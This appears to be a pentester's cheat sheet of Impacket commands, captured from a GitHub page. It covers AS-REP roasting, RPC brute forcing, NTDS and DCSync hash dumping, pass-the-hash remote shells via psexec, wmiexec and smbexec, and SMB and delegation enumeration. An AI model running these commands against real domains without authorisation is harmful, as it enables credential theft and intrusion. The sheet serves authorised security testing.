-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathimpacket.cheat
71 lines (45 loc) · 1.79 KB
/
impacket.cheat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
% roasting, active-directory
# Get all hash of domain (no preauth roasting)
GetNPUsers.py <domain>/<user> -request -no-pass -dc-ip <ip> -format <hashcat_john>
# Get user hash from users file (no preauth roasting)
GetNPUsers.py -no-pass -dc-ip <ip> -usersfile <usersfile> <domain>/ -request -format <hashcat_john>
# Get hash for a user (no preauth roasting)
GetNPUsers.py -no-pass -dc-ip <ip> <domain>/<user> -request -format <hashcat_john>
% rpc
# RPC info
rpcmap.py 'ncacn_ip_tcp:<ip>'
# RPC bruteforce
rpcmap.py 'ncacn_ip_tcp:<ip>' -brute-uuids -brute-opnums -auth-level 1 -opnum-max 5
% hash, ntds, active-directory
# Show info of ntds file
secretsdump.py -pwd-last-set -user-status -history -ntds <ntds.dit> -security SECURITY -system SYSTEM local
# Get ntds.dit secrets
secretsdump.py -hashes <ntlmhash>:<ntlmhash> '<user>'@<target>
# Get all secrets a user as access from a dc
secretsdump.py -just-dc <user>
# GetChangesAll perm: DCSync attack to dump all ntlm hashes
secretsdump.py -dc-ip <dc> <domain>/<user>:<passwor>@<dc>
% registry
# Query Windows registry from linux
reg.py -hashes <hash< <domain>/<user> query -keyName HKU\\
% connection, cmd
# ps cmd console remote connection
psexec.py -hashes <ntlmhash>:<ntlmhash> <user>@<target> cmd
# wmi cmd console remote connection
wmiexec.py -hashes <ntlmhash>:<ntlmhash> <user>@<target> cmd
%rdp
# rdp cred check
rdp_check <domain>/<name>:<password>@<IP>
% mssql
# Get a mssql shell
mssqlclient.py <user>@<target>
% smb
# enumerate user via smb with guest
lookupsid.py guest@<target>
# Connect to target as smb share
smbclient.py <user>:<pass>@<target>
# Get semi-interactive shell to execute command
smbexec.py -hashes :<hash> <user>@<target>
% delegation
# check for constrained/unconstrained delegations
findDelegation.py <user>:<pass> -dc-ip <dcip>